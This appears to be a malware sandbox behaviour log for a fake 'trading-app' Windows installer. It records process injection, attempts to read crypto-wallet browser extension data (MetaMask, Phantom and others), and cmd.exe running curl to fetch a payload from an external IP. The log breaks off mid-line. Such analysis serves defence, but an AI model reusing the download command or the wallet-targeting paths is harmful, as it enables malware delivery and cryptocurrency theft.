"trading-app-Windows-1.0.0.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\d3dcompiler_47.dll" with delete access "trading-app-Windows-1.0.0.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\ffmpeg.dll" with delete access "trading-app-Windows-1.0.0.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\icudtl.dat" with delete access "trading-app-Windows-1.0.0.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\libEGL.dll" with delete access "trading-app-Windows-1.0.0.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\libGLESv2.dll" with delete access "trading-app-Windows-1.0.0.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\LICENSE.electron.txt" with delete access "trading-app-Windows-1.0.0.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\LICENSES.chromium.html" with delete access "trading-app-Windows-1.0.0.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\locales\af.pak" with delete access "trading-app-Windows-1.0.0.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\locales\am.pak" with delete access "trading-app-Windows-1.0.0.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\locales\ar.pak" with delete access "trading-app-Windows-1.0.0.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\locales\bg.pak" with delete access "trading-app-Windows-1.0.0.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\locales\bn.pak" with delete access "trading-app-Windows-1.0.0.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\locales\ca.pak" with delete access "trading-app-Windows-1.0.0.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\locales\cs.pak" with delete access "trading-app-Windows-1.0.0.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\locales\da.pak" with delete access "trading-app-Windows-1.0.0.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\locales\de.pak" with delete access "trading-app-Windows-1.0.0.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\locales\el.pak" with delete access "trading-app-Windows-1.0.0.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\locales\en-GB.pak" with delete access "trading-app-Windows-1.0.0.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\locales\en-US.pak" with delete access "trading-app-Windows-1.0.0.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\locales\es-419.pak" with delete access "trading-app-Windows-1.0.0.exe" opened "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\locales\es.pak" with delete access62:T940,"trading-app.exe" wrote 00000FB8 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\trading-app.exe" (Handle: 2988) "trading-app.exe" wrote 00000008 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\trading-app.exe" (Handle: 2988) "trading-app.exe" wrote 00000068 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\trading-app.exe" (Handle: 2988) "trading-app.exe" wrote 00000020 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\trading-app.exe" (Handle: 2988) "trading-app.exe" wrote 00000010 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\trading-app.exe" (Handle: 2988) "trading-app.exe" wrote 000000D8 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\trading-app.exe" (Handle: 2988) "trading-app.exe" wrote 00000100 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\trading-app.exe" (Handle: 2988) "trading-app.exe" wrote 00000004 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\trading-app.exe" (Handle: 2988) "trading-app.exe" wrote 00000FB8 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\trading-app.exe" (Handle: 1676) "trading-app.exe" wrote 00000008 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\trading-app.exe" (Handle: 1676) "trading-app.exe" wrote 00000FB8 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\trading-app.exe" (Handle: 3220) "trading-app.exe" wrote 00000008 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\trading-app.exe" (Handle: 3220) "trading-app.exe" wrote 000000F0 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\trading-app.exe" (Handle: 3220) "trading-app.exe" wrote 00000020 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\trading-app.exe" (Handle: 3220) "trading-app.exe" wrote 00000010 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\2wnUXCqaFfb8gqhsxoVwiS2JQj1\trading-app.exe" (Handle: 3220)63:T1f24,"trading-app.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\NKBIHFBEOGAEAOEHLEFNKODBEFGPGKNN" "trading-app.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\EJBALBAKOPLCHLGHECDALMEEEAJNIMHM" "trading-app.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\FHBOHIMAELBOHPJBBLDCNGCNAPNDODJP" "trading-app.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\IBNEJDFJMMKPCNLPEBKLMNKOEOIHOFEC" "trading-app.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\BFNAELMOMEIMHLPMGJNJOPHHPKKOLJPA" "trading-app.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\AEACHKNMEFPHEPCCIONBOOHCKONOEEMG" "trading-app.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\HIFAFGMCCDPEKPLOMJJKCFGODNHCELLJ" "trading-app.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\JBLNDLIPEOGPAFNLDHGMAPAGCCCFCHPI" "trading-app.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ACMACODKJBDGMOLEEBOLMDJONILKDBCH" "trading-app.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\DLCOBPJIIGPIKOOBOHMABEHHMHFOODBB" "trading-app.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\MCOHILNCBFAHBMGDJKBPEMCCIIOLGCGE" "trading-app.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\AGOAKFEJJABOMEMPKJLEPDFLALEEOBHB" "trading-app.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\OMAABBEFBMIIJEDNGPLFJMNOOPPBCLKK" "trading-app.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\AHOLPFDIALJGJFHOMIHKJBMGJIDLCDNO" "trading-app.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\NPHPLPGOAKHHJCHKKHMIGGAKIJNKHFND" "trading-app.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\PENJLDDJKJGPNKLLBOCCDGCCEKPKCBIN" "trading-app.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\LGMPCPGLPNGDOALBGEOLDEAJFCLNHAFA" "trading-app.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\FLDFPGIPFNCGNDFOLCBKDEEKNBBBNHCC" "trading-app.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\BHHHLBEPDKBAPADJDNNOJKBGIOIODBIC" "trading-app.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\GJNCKGKFMGMIBBKOFICDIDCLJEAAAHEG" "trading-app.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\AFBCBJPBPFADLKMHMCLHKEEODMAMCFLC" "trading-app.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PROFILE 1\LOCAL EXTENSION SETTINGS\NKBIHFBEOGAEAOEHLEFNKODBEFGPGKNN" "trading-app.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PROFILE 1\LOCAL EXTENSION SETTINGS\EJBALBAKOPLCHLGHECDALMEEEAJNIMHM" "trading-app.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PROFILE 1\LOCAL EXTENSION SETTINGS\FHBOHIMAELBOHPJBBLDCNGCNAPNDODJP" "trading-app.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PROFILE 1\LOCAL EXTENSION SETTINGS\IBNEJDFJMMKPCNLPEBKLMNKOEOIHOFEC" "trading-app.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PROFILE 1\LOCAL EXTENSION SETTINGS\BFNAELMOMEIMHLPMGJNJOPHHPKKOLJPA" "trading-app.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PROFILE 1\LOCAL EXTENSION SETTINGS\AEACHKNMEFPHEPCCIONBOOHCKONOEEMG" "trading-app.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PROFILE 1\LOCAL EXTENSION SETTINGS\HIFAFGMCCDPEKPLOMJJKCFGODNHCELLJ" "trading-app.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PROFILE 1\LOCAL EXTENSION SETTINGS\JBLNDLIPEOGPAFNLDHGMAPAGCCCFCHPI" "trading-app.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PROFILE 1\LOCAL EXTENSION SETTINGS\ACMACODKJBDGMOLEEBOLMDJONILKDBCH" "trading-app.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PROFILE 1\LOCAL EXTENSION SETTINGS\DLCOBPJIIGPIKOOBOHMABEHHMHFOODBB" "trading-app.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PROFILE 1\LOCAL EXTENSION SETTINGS\MCOHILNCBFAHBMGDJKBPEMCCIIOLGCGE" "trading-app.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PROFILE 1\LOCAL EXTENSION SETTINGS\AGOAKFEJJABOMEMPKJLEPDFLALEEOBHB" "trading-app.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PROFILE 1\LOCAL EXTENSION SETTINGS\OMAABBEFBMIIJEDNGPLFJMNOOPPBCLKK" "trading-app.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PROFILE 1\LOCAL EXTENSION SETTINGS\AHOLPFDIALJGJFHOMIHKJBMGJIDLCDNO" "trading-app.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PROFILE 1\LOCAL EXTENSION SETTINGS\NPHPLPGOAKHHJCHKKHMIGGAKIJNKHFND" "trading-app.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PROFILE 1\LOCAL EXTENSION SETTINGS\PENJLDDJKJGPNKLLBOCCDGCCEKPKCBIN" "trading-app.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PROFILE 1\LOCAL EXTENSION SETTINGS\LGMPCPGLPNGDOALBGEOLDEAJFCLNHAFA" "trading-app.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PROFILE 1\LOCAL EXTENSION SETTINGS\FLDFPGIPFNCGNDFOLCBKDEEKNBBBNHCC" "trading-app.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PROFILE 1\LOCAL EXTENSION SETTINGS\BHHHLBEPDKBAPADJDNNOJKBGIOIODBIC" "trading-app.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PROFILE 1\LOCAL EXTENSION SETTINGS\GJNCKGKFMGMIBBKOFICDIDCLJEAAAHEG" "trading-app.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PROFILE 1\LOCAL EXTENSION SETTINGS\AFBCBJPBPFADLKMHMCLHKEEODMAMCFLC" "trading-app.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PROFILE 2\LOCAL EXTENSION SETTINGS\NKBIHFBEOGAEAOEHLEFNKODBEFGPGKNN" "trading-app.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PROFILE 2\LOCAL EXTENSION SETTINGS\EJBALBAKOPLCHLGHECDALMEEEAJNIMHM" "trading-app.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PROFILE 2\LOCAL EXTENSION SETTINGS\FHBOHIMAELBOHPJBBLDCNGCNAPNDODJP" "trading-app.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PROFILE 2\LOCAL EXTENSION SETTINGS\IBNEJDFJMMKPCNLPEBKLMNKOEOIHOFEC" "trading-app.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PROFILE 2\LOCAL EXTENSION SETTINGS\BFNAELMOMEIMHLPMGJNJOPHHPKKOLJPA" "trading-app.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PROFILE 2\LOCAL EXTENSION SETTINGS\AEACHKNMEFPHEPCCIONBOOHCKONOEEMG"64:T1ff4,trading-app.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\NKBIHFBEOGAEAOEHLEFNKODBEFGPGKNN related to MetaMask trading-app.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\FHBOHIMAELBOHPJBBLDCNGCNAPNDODJP related to Binance Chain Wallet trading-app.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\IBNEJDFJMMKPCNLPEBKLMNKOEOIHOFEC related to TronLink trading-app.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\BFNAELMOMEIMHLPMGJNJOPHHPKKOLJPA related to Phantom trading-app.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\AEACHKNMEFPHEPCCIONBOOHCKONOEEMG related to Coin98 Wallet) trading-app.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\MCOHILNCBFAHBMGDJKBPEMCCIIOLGCGE related to OKX Wallet trading-app.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\AFBCBJPBPFADLKMHMCLHKEEODMAMCFLC related to Math Wallet trading-app.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PROFILE 1\LOCAL EXTENSION SETTINGS\NKBIHFBEOGAEAOEHLEFNKODBEFGPGKNN related to MetaMask trading-app.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PROFILE 1\LOCAL EXTENSION SETTINGS\FHBOHIMAELBOHPJBBLDCNGCNAPNDODJP related to Binance Chain Wallet trading-app.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PROFILE 1\LOCAL EXTENSION SETTINGS\IBNEJDFJMMKPCNLPEBKLMNKOEOIHOFEC related to TronLink trading-app.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PROFILE 1\LOCAL EXTENSION SETTINGS\BFNAELMOMEIMHLPMGJNJOPHHPKKOLJPA related to Phantom trading-app.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PROFILE 1\LOCAL EXTENSION SETTINGS\AEACHKNMEFPHEPCCIONBOOHCKONOEEMG related to Coin98 Wallet) trading-app.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PROFILE 1\LOCAL EXTENSION SETTINGS\MCOHILNCBFAHBMGDJKBPEMCCIIOLGCGE related to OKX Wallet trading-app.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PROFILE 1\LOCAL EXTENSION SETTINGS\AFBCBJPBPFADLKMHMCLHKEEODMAMCFLC related to Math Wallet trading-app.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PROFILE 2\LOCAL EXTENSION SETTINGS\NKBIHFBEOGAEAOEHLEFNKODBEFGPGKNN related to MetaMask trading-app.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PROFILE 2\LOCAL EXTENSION SETTINGS\FHBOHIMAELBOHPJBBLDCNGCNAPNDODJP related to Binance Chain Wallet trading-app.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PROFILE 2\LOCAL EXTENSION SETTINGS\IBNEJDFJMMKPCNLPEBKLMNKOEOIHOFEC related to TronLink trading-app.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PROFILE 2\LOCAL EXTENSION SETTINGS\BFNAELMOMEIMHLPMGJNJOPHHPKKOLJPA related to Phantom trading-app.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PROFILE 2\LOCAL EXTENSION SETTINGS\AEACHKNMEFPHEPCCIONBOOHCKONOEEMG related to Coin98 Wallet) trading-app.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PROFILE 2\LOCAL EXTENSION SETTINGS\MCOHILNCBFAHBMGDJKBPEMCCIIOLGCGE related to OKX Wallet trading-app.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PROFILE 2\LOCAL EXTENSION SETTINGS\AFBCBJPBPFADLKMHMCLHKEEODMAMCFLC related to Math Wallet trading-app.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PROFILE 3\LOCAL EXTENSION SETTINGS\NKBIHFBEOGAEAOEHLEFNKODBEFGPGKNN related to MetaMask trading-app.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PROFILE 3\LOCAL EXTENSION SETTINGS\FHBOHIMAELBOHPJBBLDCNGCNAPNDODJP related to Binance Chain Wallet trading-app.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PROFILE 3\LOCAL EXTENSION SETTINGS\IBNEJDFJMMKPCNLPEBKLMNKOEOIHOFEC related to TronLink trading-app.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PROFILE 3\LOCAL EXTENSION SETTINGS\BFNAELMOMEIMHLPMGJNJOPHHPKKOLJPA related to Phantom trading-app.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PROFILE 3\LOCAL EXTENSION SETTINGS\AEACHKNMEFPHEPCCIONBOOHCKONOEEMG related to Coin98 Wallet) trading-app.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PROFILE 3\LOCAL EXTENSION SETTINGS\MCOHILNCBFAHBMGDJKBPEMCCIIOLGCGE related to OKX Wallet trading-app.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PROFILE 3\LOCAL EXTENSION SETTINGS\AFBCBJPBPFADLKMHMCLHKEEODMAMCFLC related to Math Wallet trading-app.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PROFILE 4\LOCAL EXTENSION SETTINGS\NKBIHFBEOGAEAOEHLEFNKODBEFGPGKNN related to MetaMask trading-app.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PROFILE 4\LOCAL EXTENSION SETTINGS\FHBOHIMAELBOHPJBBLDCNGCNAPNDODJP related to Binance Chain Wallet trading-app.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PROFILE 4\LOCAL EXTENSION SETTINGS\IBNEJDFJMMKPCNLPEBKLMNKOEOIHOFEC related to TronLink trading-app.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PROFILE 4\LOCAL EXTENSION SETTINGS\BFNAELMOMEIMHLPMGJNJOPHHPKKOLJPA related to Phantom trading-app.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PROFILE 4\LOCAL EXTENSION SETTINGS\AEACHKNMEFPHEPCCIONBOOHCKONOEEMG related to Coin98 Wallet) trading-app.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PROFILE 4\LOCAL EXTENSION SETTINGS\MCOHILNCBFAHBMGDJKBPEMCCIIOLGCGE related to OKX Wallet trading-app.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PROFILE 4\LOCAL EXTENSION SETTINGS\AFBCBJPBPFADLKMHMCLHKEEODMAMCFLC related to Math Wallet trading-app.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PROFILE 5\LOCAL EXTENSION SETTINGS\NKBIHFBEOGAEAOEHLEFNKODBEFGPGKNN related to MetaMask trading-app.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PROFILE 5\LOCAL EXTENSION SETTINGS\FHBOHIMAELBOHPJBBLDCNGCNAPNDODJP related to Binance Chain Wallet trading-app.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PROFILE 5\LOCAL EXTENSION SETTINGS\IBNEJDFJMMKPCNLPEBKLMNKOEOIHOFEC related to TronLink trading-app.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PROFILE 5\LOCAL EXTENSION SETTINGS\BFNAELMOMEIMHLPMGJNJOPHHPKKOLJPA related to Phantom trading-app.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PROFILE 5\LOCAL EXTENSION SETTINGS\AEACHKNMEFPHEPCCIONBOOHCKONOEEMG related to Coin98 Wallet) trading-app.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PROFILE 5\LOCAL EXTENSION SETTINGS\MCOHILNCBFAHBMGDJKBPEMCCIIOLGCGE related to OKX Wallet trading-app.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PROFILE 5\LOCAL EXTENSION SETTINGS\AFBCBJPBPFADLKMHMCLHKEEODMAMCFLC related to Math Wallet trading-app.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PROFILE 6\LOCAL EXTENSION SETTINGS\NKBIHFBEOGAEAOEHLEFNKODBEFGPGKNN related to MetaMask trading-app.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\PROFILE 6\LOCAL EXTENSION SETTINGS\FHBOHIMAELBOHPJBBLDCNGCNAPNDODJP related to Binance Chain Wallet65:T235e,Spawned process "trading-app-Windows-1.0.0.exe" (UID: 00000000-00004416) Spawned process "trading-app.exe" (UID: 00000000-00006124) Spawned process "cmd.exe" with commandline "/d /s /c "curl -Lo "%TEMP%\\p.zi" "http://144.172.95.226:1224/pdown""" (UID: 00000000-00001708) Spawned process "cmd.exe" with commandline "/d /s /c "curl -Lo "%TEMP%\\p.zi" "http://144.172.95.226:1224/pdown""" (UID: 00000000-00006724) Spawned process "trading-app.exe" with commandline ""%APPDATA%\\trading-super-deriv" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=1816 --field-trial-handle=1820,i,7871392154376234931,5077792058516045759,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:2" (UID: 00000000-00007064) Spawned process "trading-app.exe" with commandline ""%APPDATA%\\trading-super-deriv" --mojo-platform-channel-handle=3180 --field-trial-handle=1820,i,7871392154376234931,5077792058516045759,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:8" (UID: 00000000-00004288) Spawned process "trading-app.exe" with commandline ""%APPDATA%\\trading-super-deriv" --app-path="%TEMP%\\2wnUXCqaFfb8gqhsxoVwiS2JQj1\\resources\\app.asar" --enable-sandbox --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=4 --time-ticks-at-unix-epoch=-1747854885734705 --launch-time-ticks=1726833464 --mojo-platform-channel-handle=2328 --field-trial-handle=1820,i,7871392154376234931,5077792058516045759,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:1" (UID: 00000000-00002908) Spawned process "cmd.exe" with commandline "/d /s /c "curl -Lo "%TEMP%\\p.zi" "http://144.172.95.226:1224/pdown""" (UID: 00000000-00007736) Spawned process "cmd.exe" with commandline "/d /s /c "curl -Lo "%TEMP%\\p.zi" "http://144.172.95.226:1224/pdown""" (UID: 00000000-00000712) Spawned process "trading-app.exe" with commandline ""%APPDATA%\\trading-super-deriv" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=3284 --field-trial-handle=1820,i,7871392154376234931,5077792058516045759,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:2" (UID: 00000000-00002088) Spawned process "cmd.exe" with commandline "/d /s /c "curl -Lo "%TEMP%\\p.zi" "http://144.172.95.226:1224/pdown""" (UID: 00000000-00000576) Spawned process "trading-app.exe" with commandline ""%APPDATA%\\trading-super-deriv" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=2996 --field-trial-handle=1820,i,7871392154376234931,5077792058516045759,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:2" (UID: 00000000-00006964) Spawned process "cmd.exe" with 